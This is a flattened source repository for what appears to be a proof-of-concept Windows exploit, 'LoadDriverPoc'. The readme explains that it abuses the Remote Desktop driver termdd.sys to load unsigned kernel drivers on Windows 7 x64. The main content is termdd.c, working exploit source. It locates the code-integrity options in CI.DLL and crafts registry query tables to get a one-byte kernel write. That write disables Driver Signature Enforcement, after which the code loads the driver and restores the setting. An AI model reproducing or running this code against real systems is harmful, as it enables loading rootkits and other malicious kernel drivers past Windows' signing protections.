├── exploit-bin ├── Oldtermdd.sys ├── TestDrvNoSig.sys ├── LoadDriverPoc.exe └── kb4499175termdd.sys ├── LoadDriverPoc ├── termdd.h ├── LoadDriverPoc.vcxproj.user ├── main.c ├── LoadDriverPoc.vcxproj.filters ├── LoadDriverPoc.vcxproj └── termdd.c ├── readme.md └── LoadDriverPoc.sln /exploit-bin/Oldtermdd.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/Oldtermdd.sys -------------------------------------------------------------------------------- /exploit-bin/TestDrvNoSig.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/TestDrvNoSig.sys -------------------------------------------------------------------------------- /exploit-bin/LoadDriverPoc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/LoadDriverPoc.exe -------------------------------------------------------------------------------- /exploit-bin/kb4499175termdd.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhuhuibeishadiao/exploit-RemoteDesktopServerDriver/HEAD/exploit-bin/kb4499175termdd.sys -------------------------------------------------------------------------------- /LoadDriverPoc/termdd.h: -------------------------------------------------------------------------------- 1 | BOOL UnloadDriver(const WCHAR *path, int hidden); 2 | BOOL LoadDriver(const WCHAR *loader, const WCHAR *driver, int hidden); 3 | -------------------------------------------------------------------------------- /LoadDriverPoc/LoadDriverPoc.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # exploit remote desktop drv 2 | termdd.sys support kb4499175 3 | 4 | # test environment 5 | win7 x64 7601 6 | Uac(Closed) 7 | LoadDriverPoc debug x64 8 | 9 | # how to test 10 | Demonstrated the use of this vulnerability to load unsignature drivers 11 | LoadDriverPoc.exe termddsysName UnsignatureDriverName 12 | LoadDriverPoc.exe OldTermdd.sys TestDrvNoSig.sys(Load) 13 | LoadDriverPoc.exe TestDrvNoSig.sys(Unload) 14 | # 15 | 1.No worth 16 | 2.need uac bypass 17 | 3.any address read and write 18 | 19 | Analysis report: 20 | https://bbs.pediy.com/thread-252411.htm 21 | -------------------------------------------------------------------------------- /LoadDriverPoc/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "termdd.h" 5 | 6 | int wmain(int argc, WCHAR **argv) 7 | { 8 | HRESULT ret; 9 | if (argc == 3) { 10 | if (!LoadDriver(argv[1], argv[2], 0)) { 11 | char buf[256]; 12 | FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 13 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 255, NULL); 14 | printf("Patch Failed: %s\n", buf); 15 | return 1; 16 | } 17 | ret = GetLastError(); 18 | if (ret) { 19 | printf("Driver Error - %08x\n", GetLastError()); 20 | } 21 | else { 22 | printf("Driver Loaded!\n"); 23 | } 24 | return 0; 25 | } 26 | if (argc == 2) { 27 | if (UnloadDriver(argv[1], 0)) 28 | printf("Driver Unloaded!\n"); 29 | else 30 | printf("Error Unloading!\n"); 31 | } 32 | else { 33 | printf("Usage:\n\n" 34 | "TOOL.exe DRIVER.sys DRIVER.sys - Load Driver!\n" 35 | "TOOL.exe DRIVER.sys - Unload Driver!\n" 36 | ); 37 | } 38 | return 0; 39 | } 40 | -------------------------------------------------------------------------------- /LoadDriverPoc/LoadDriverPoc.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 26 | 27 | 头文件 28 | 29 | 30 | -------------------------------------------------------------------------------- /LoadDriverPoc.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 14 4 | VisualStudioVersion = 14.0.25420.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "LoadDriverPoc", "LoadDriverPoc\LoadDriverPoc.vcxproj", "{BD4CF611-5BF2-40B6-977D-393C9B4AD208}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x64.ActiveCfg = Debug|x64 17 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x64.Build.0 = Debug|x64 18 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x86.ActiveCfg = Debug|Win32 19 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Debug|x86.Build.0 = Debug|Win32 20 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x64.ActiveCfg = Release|x64 21 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x64.Build.0 = Release|x64 22 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x86.ActiveCfg = Release|Win32 23 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /LoadDriverPoc/LoadDriverPoc.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {BD4CF611-5BF2-40B6-977D-393C9B4AD208} 23 | Win32Proj 24 | LoadDriverPoc 25 | 8.1 26 | 27 | 28 | 29 | Application 30 | true 31 | v140 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140 45 | Unicode 46 | Static 47 | 48 | 49 | Application 50 | false 51 | v140 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | false 93 | 94 | 95 | Console 96 | true 97 | 98 | 99 | 100 | 101 | 102 | 103 | Level3 104 | Disabled 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | false 107 | 108 | 109 | Console 110 | true 111 | ntdll.lib;Shlwapi.lib;%(AdditionalDependencies) 112 | 113 | 114 | 115 | 116 | Level3 117 | 118 | 119 | MaxSpeed 120 | true 121 | true 122 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 123 | true 124 | 125 | 126 | Console 127 | true 128 | true 129 | true 130 | 131 | 132 | 133 | 134 | Level3 135 | 136 | 137 | MaxSpeed 138 | true 139 | true 140 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 141 | true 142 | 143 | 144 | Console 145 | true 146 | true 147 | true 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /LoadDriverPoc/termdd.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 7 | #define SystemModuleInformation 0xb 8 | #define SystemCodeIntegrityInformation 0x67 9 | 10 | #define EQUALS(a,b) (RtlCompareMemory(a,b,sizeof(b)-1)==(sizeof(b)-1)) 11 | #define NT_MACHINE L"\\Registry\\Machine\\" 12 | #define SVC_BASE NT_MACHINE L"System\\CurrentControlSet\\Services\\" 13 | 14 | typedef struct { 15 | HANDLE Section; 16 | PVOID MappedBase; 17 | PVOID ImageBase; 18 | ULONG ImageSize; 19 | ULONG Flags; 20 | USHORT LoadOrderIndex; 21 | USHORT InitOrderIndex; 22 | USHORT LoadCount; 23 | USHORT OffsetToFileName; 24 | UCHAR FullPathName[256]; 25 | } RTL_PROCESS_MODULE_INFORMATION; 26 | 27 | typedef struct { 28 | ULONG NumberOfModules; 29 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 30 | } RTL_PROCESS_MODULES; 31 | 32 | typedef struct { 33 | PVOID QueryRoutine; 34 | ULONG Flags; 35 | PCWSTR Name; 36 | PVOID EntryContext; 37 | ULONG DefaultType; 38 | PVOID DefaultData; 39 | ULONG DefaultLength; 40 | } RTL_QUERY_REGISTRY_TABLE; 41 | 42 | NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING); 43 | NTSTATUS NTAPI NtUnloadDriver(PUNICODE_STRING); 44 | NTSTATUS NTAPI RtlCreateRegistryKey(ULONG,PWSTR); 45 | NTSTATUS NTAPI RtlWriteRegistryValue(ULONG,PCWSTR,PCWSTR,ULONG,PVOID,ULONG); 46 | NTSTATUS NTAPI NtOpenKey(PHANDLE,ACCESS_MASK,POBJECT_ATTRIBUTES); 47 | NTSTATUS NTAPI NtDeleteKey(HANDLE); 48 | NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); 49 | 50 | static void *addr_ci_orig; 51 | static void *addr_ci_opt; 52 | static void *addr_key; 53 | static WCHAR dbuf[MAX_PATH]; 54 | static WCHAR lbuf[MAX_PATH]; 55 | 56 | 57 | static ULONG_PTR get_mod_base(char *name) 58 | { 59 | int i; 60 | RTL_PROCESS_MODULES *m; 61 | DWORD got = 0; 62 | 63 | NTSTATUS ret = NtQuerySystemInformation( 64 | SystemModuleInformation, NULL, 0, &got); 65 | if (ret != STATUS_INFO_LENGTH_MISMATCH) 66 | return 0; 67 | 68 | m = malloc(got); 69 | if (!NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got))) { 70 | free(m); 71 | return 0; 72 | } 73 | 74 | for (i = 0; i < m->NumberOfModules; i++) { 75 | RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i; 76 | if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName)) { 77 | ULONG_PTR ret = (ULONG_PTR)p->ImageBase; 78 | free(m); 79 | return ret; 80 | } 81 | } 82 | free(m); 83 | return 0; 84 | } 85 | 86 | static ULONG_PTR ci_analyze() 87 | { 88 | MEMORY_BASIC_INFORMATION info; 89 | HINSTANCE ci; 90 | ULONG_PTR base = get_mod_base("CI.DLL"); 91 | WCHAR path[MAX_PATH]; 92 | ULONG_PTR mod, ci_opt=0,key=0; 93 | BYTE *p; 94 | int i; 95 | 96 | wcscpy(path + GetSystemDirectoryW(path, MAX_PATH), L"\\CI.DLL"); 97 | ci = LoadLibraryExW(path, NULL, DONT_RESOLVE_DLL_REFERENCES); 98 | if (!ci) goto meh; 99 | 100 | p = (void*)GetProcAddress(ci, "CiInitialize"); 101 | mod = (ULONG_PTR)ci; 102 | 103 | // find jmp CipInitialize 104 | for (i = 0; i < 100; i++, p++) { 105 | // jmp/call forwardnearby 106 | if (((p[-1] & 0xfe) == 0xe8) && ((!(p[2] | p[3])) || ((p[2] & p[3]) == 0xff))) { 107 | BYTE *t = p + 4 + *((DWORD*)p); 108 | // Don't eat the security cookie 109 | // mov rax, [rip+something] 110 | if (EQUALS(t, "\x48\x8b\x05")) 111 | continue; 112 | goto cipinit_found; 113 | } 114 | } 115 | goto meh; 116 | cipinit_found: 117 | p = p + 4 + *((DWORD*)p); 118 | for (i = 0; i < 100; i++, p++) { 119 | // mov ci_Options, ecx; check the relip points back and close 120 | if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) { 121 | ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p); 122 | goto found_ci; 123 | } 124 | } 125 | goto meh; 126 | found_ci: 127 | // Scratch space we use to stash original ci_Options into 128 | if (!VirtualQuery((void*)ci_opt, &info, sizeof(info))) 129 | goto meh; 130 | addr_ci_orig = (void*)(((ULONG_PTR)info.BaseAddress + info.RegionSize - 4) - mod + base); 131 | // Some dummy, unknown key 132 | p = (void*)(mod + 4096); 133 | // key address must incorporate RTL_QUERY_REGISTRY_DIRECT ! 134 | while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p) & 0x20))) p++; 135 | addr_key = (void*)((ULONG_PTR)p - mod + base); 136 | addr_ci_opt = (void*)(ci_opt - mod + base); 137 | if (ci) FreeLibrary(ci); 138 | return 1; 139 | meh: 140 | if (ci) FreeLibrary(ci); 141 | SetLastError(ERROR_NOT_SUPPORTED); 142 | return 0; 143 | } 144 | 145 | static int nt_path(WCHAR *dst, const WCHAR *src) 146 | { 147 | wcscpy(dst, L"\\??\\"); 148 | wcscat(dst, src); 149 | return wcslen(dst)*2+2; 150 | } 151 | 152 | static void fname2svc(WCHAR *svc, const WCHAR *name) 153 | { 154 | const WCHAR *i; 155 | int p = sizeof(SVC_BASE)/2-1; 156 | wcscpy(svc, SVC_BASE); 157 | for (i = name; *i; i++) 158 | if (*i == L'\\') 159 | name = i+1; 160 | while (*name && *name != '.') 161 | svc[p++] = *name++; 162 | svc[p] = 0; 163 | } 164 | 165 | static int create_service(WCHAR *svc, const WCHAR *fname) 166 | { 167 | WCHAR tmp[MAX_PATH]; 168 | NTSTATUS st; 169 | DWORD dw = 1; 170 | 171 | fname2svc(svc, fname); 172 | st = RtlCreateRegistryKey(0, svc); 173 | if (!NT_SUCCESS(st)) 174 | return st; 175 | RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, fname)); 176 | RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw)); 177 | return 0; 178 | } 179 | 180 | static void clear_service(const WCHAR *svc) 181 | { 182 | SHDeleteKeyW(HKEY_LOCAL_MACHINE, svc + sizeof(NT_MACHINE)/2-1); 183 | } 184 | 185 | static BOOL dse_status() 186 | { 187 | DWORD infoci[2] = { sizeof(infoci) }; 188 | DWORD dw = sizeof(infoci); 189 | NTSTATUS ret = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw); 190 | return (infoci[1] & 3) == 1; 191 | } 192 | 193 | static NTSTATUS do_loaddriver(const WCHAR *n) 194 | { 195 | UNICODE_STRING su; 196 | RtlInitUnicodeString(&su, n); 197 | return NtLoadDriver(&su); 198 | } 199 | static NTSTATUS do_unloaddriver(const WCHAR *n) 200 | { 201 | UNICODE_STRING su; 202 | RtlInitUnicodeString(&su, n); 203 | return NtUnloadDriver(&su); 204 | } 205 | 206 | 207 | // Copy 1 byte from -> to -> backup 208 | static NTSTATUS trigger_exploit(WCHAR *svc, int method, void *from, void *to, void *backup) 209 | { 210 | 211 | struct { 212 | UINT64 pad; 213 | RTL_QUERY_REGISTRY_TABLE tab[4]; 214 | } buf; 215 | 216 | RTL_QUERY_REGISTRY_TABLE *t; 217 | //sizeof(RTL_QUERY_REGISTRY_TABLE); 218 | 219 | // VC++ is phenomenally stupid, so this has to be a bit long winded 220 | memset(&buf, 0, sizeof(buf)); 221 | t = &buf.tab[2]; 222 | t->Flags = 32; 223 | t->Name = addr_key; 224 | t->EntryContext = backup; 225 | t->DefaultType = REG_DWORD; 226 | t->DefaultData = to; 227 | t->DefaultLength = 1; 228 | 229 | t = &buf.tab[3]; 230 | t->Flags = 32; 231 | t->Name = addr_key; 232 | t->EntryContext = to; 233 | t->DefaultType = REG_DWORD; 234 | t->DefaultData = from; 235 | t->DefaultLength = 1; 236 | 237 | printf("0x%llx 0x%llx\n",to,from); 238 | 239 | RtlWriteRegistryValue(0, svc, L"FlowControlDisable", REG_SZ, L"x", 4); 240 | method *= 4; 241 | RtlWriteRegistryValue(0, svc, L"FlowControlDisplayBandwidth", REG_BINARY, 242 | (void*)(((BYTE*)buf.tab)+method), sizeof(buf.tab)-method); 243 | 244 | do_unloaddriver(svc); 245 | return do_loaddriver(svc); 246 | } 247 | 248 | static NTSTATUS nt_ok(NTSTATUS st) 249 | { 250 | SetLastError(RtlNtStatusToDosError(st)); 251 | return NT_SUCCESS(st); 252 | } 253 | 254 | BOOL LoadDriver(const WCHAR *_loader, const WCHAR *_driver, int hidden) 255 | { 256 | WCHAR loader[MAX_PATH]; 257 | WCHAR driver[MAX_PATH]; 258 | BOOLEAN old; 259 | 260 | if (!ci_analyze()) 261 | return 0; 262 | 263 | if (!nt_ok(RtlAdjustPrivilege(10, 1, 0, &old))) 264 | return 0; 265 | 266 | if (!GetFullPathNameW(_loader, MAX_PATH, loader, NULL)) 267 | return 0; 268 | if (!GetFullPathNameW(_driver, MAX_PATH, driver, NULL)) 269 | return 0; 270 | 271 | if (!nt_ok(create_service(dbuf, driver))) 272 | return 0; 273 | /*if (!dse_status()) { 274 | return nt_ok(do_loaddriver(dbuf)); 275 | }*/ 276 | if (!nt_ok(create_service(lbuf, loader))) 277 | return 0; 278 | trigger_exploit(lbuf, -1, (BYTE*)addr_key + 2, addr_ci_opt, addr_ci_orig); 279 | if (dse_status()) { 280 | trigger_exploit(lbuf, 1, (BYTE*)addr_key + 2, addr_ci_opt, addr_ci_orig); 281 | if (dse_status()) { 282 | SetLastError(ERROR_NOT_SUPPORTED); 283 | return 0; 284 | } 285 | } 286 | NTSTATUS sav = do_loaddriver(dbuf); 287 | 288 | trigger_exploit(lbuf, -1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig-4); 289 | if (!dse_status()) 290 | trigger_exploit(lbuf, 1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig-4); 291 | //trigger_exploit(lbuf, 1, addr_ci_orig, addr_ci_opt, (BYTE*)addr_ci_orig - 4);// 292 | do_unloaddriver(lbuf); 293 | clear_service(lbuf); 294 | if ((!NT_SUCCESS(sav)) || (hidden)) 295 | clear_service(dbuf); 296 | nt_ok(sav); 297 | return 1; 298 | } 299 | 300 | BOOL UnloadDriver(const WCHAR *path, int hidden) 301 | { 302 | NTSTATUS st; 303 | BOOLEAN old; 304 | 305 | if (!nt_ok(RtlAdjustPrivilege(10, 1, 0, &old))) 306 | return 0; 307 | 308 | if (path && hidden) 309 | create_service(dbuf, path); 310 | fname2svc(dbuf, path); 311 | st = do_unloaddriver(dbuf); 312 | if (hidden) 313 | clear_service(dbuf); 314 | if (nt_ok(st)) { 315 | clear_service(dbuf); 316 | return 1; 317 | } 318 | return 0; 319 | } 320 | 321 | 322 | --------------------------------------------------------------------------------